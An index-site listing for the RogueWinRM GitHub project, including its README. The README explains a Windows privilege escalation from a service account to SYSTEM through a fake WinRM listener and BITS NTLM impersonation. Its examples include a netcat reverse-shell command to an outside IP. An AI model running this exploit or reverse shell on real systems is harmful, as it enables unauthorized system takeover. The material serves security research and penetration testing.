Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/antonioCoco/RogueWinRM
Windows Local Privilege Escalation from Service Account to System
https://github.com/antonioCoco/RogueWinRM
Last synced: 3 months ago
JSON representation
Windows Local Privilege Escalation from Service Account to System
- Host: GitHub
- URL: https://github.com/antonioCoco/RogueWinRM
- Owner: antonioCoco
- License: gpl-3.0
- Created: 2019-12-02T22:58:03.000Z (almost 5 years ago)
- Default Branch: master
- Last Pushed: 2020-02-23T19:26:41.000Z (over 4 years ago)
- Last Synced: 2024-04-12T19:38:47.245Z (7 months ago)
- Language: C++
- Homepage:
- Size: 55.7 KB
- Stars: 624
- Watchers: 14
- Forks: 100
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - antonioCoco/RogueWinRM - Windows Local Privilege Escalation from Service Account to System (C++)
README
# RogueWinRM
RogueWinRM is a local privilege escalation exploit that allows to escalate from a Service account (with SeImpersonatePrivilege) to Local System account if WinRM service is not running (**default on Win10 but NOT on Windows Server 2019**).
Briefly, it will listen for incoming connection on port 5985 faking a real WinRM service.
It's just a minimal webserver that will try to negotiate an NTLM authentication with any service that are trying to connect on that port.
Then the BITS service (running as Local System) is triggered and it will try to authenticate to our rogue listener. Once authenticated to our rogue listener, we are able to impersonate the Local System user spawning an arbitrary process with those privileges.You can find a full technical description of this vulnerability at this link --> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/
# Usage
```
RogueWinRMMandatory args:
-p : program to launchOptional args:
-a : command line argument to pass to program (default NULL)
-l : listening port (default 5985 WinRM)
-d : Enable Debugging output
```# Examples
![RogueWinRM](https://decoderblogblog.files.wordpress.com/2019/12/exploit-1.png)
Running an interactive cmd:
```
RogueWinRM.exe -p C:\windows\system32\cmd.exe
```Running netcat reverse shell:
```
RogueWinRM.exe -p C:\windows\temp\nc64.exe -a "10.0.0.1 3001 -e cmd"
```# Authors
* [Antonio Cocomazzi](https://twitter.com/splinter_code)
* [Andrea Pierini](https://twitter.com/decoder_it)
* Roberto (0xea31)